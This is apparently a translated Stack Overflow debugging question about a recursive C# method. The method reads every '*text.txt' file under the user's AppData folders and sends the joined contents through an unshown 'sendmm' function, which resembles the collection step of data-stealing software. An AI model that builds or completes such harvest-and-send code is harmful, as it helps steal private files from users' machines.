Ich hatte vorher ein Problem und jetzt, da ich es gelöst habe, kann ich dieses Problem nicht lösen.Warum wird die if-Anweisung vor der foreach-Schleife ausgeführt?
Debug-Bild
Aus irgendeinem Grund die if-Anweisung vor der foreach-Schleife genannt wird und aus diesem Grund, die Variable, die ich nach der Schleife senden wollte, ist leer. Wie kann ich es reparieren? Ich dachte Code wird immer von oben nach unten gelesen?
Am Ende enthält die Liste alles, was es sollte aber die if-Anweisung nicht ein zweites Mal aufgerufen wird ist ...
public static void GetAllFiles(string sDir)
{
List <string> datas = new List<string>();
foreach (string dir in Directory.GetDirectories(sDir))
{
try
{
foreach (string file in Directory.GetFiles(dir, "*text.txt"))
{
string var = File.ReadAllText(file);
datas.Add(var);
}
GetAllFiles(dir);
}
catch
{
}
}
if (datas != null)
{
string dets = String.Join("\n\n", datas.ToArray());
sendmm(dets);
}
}
AppData Verzeichnis
Screenshots eines Texteditors sind ein sehr schlechter Ersatz für das Einfügen des eigentlichen Codes in den Frageneditor. –
Fügen Sie den Code ein, damit wir ihn betrachten können und vielleicht können wir Ihnen helfen. – Ma3x
bearbeitet, sorry dafür – Fightera100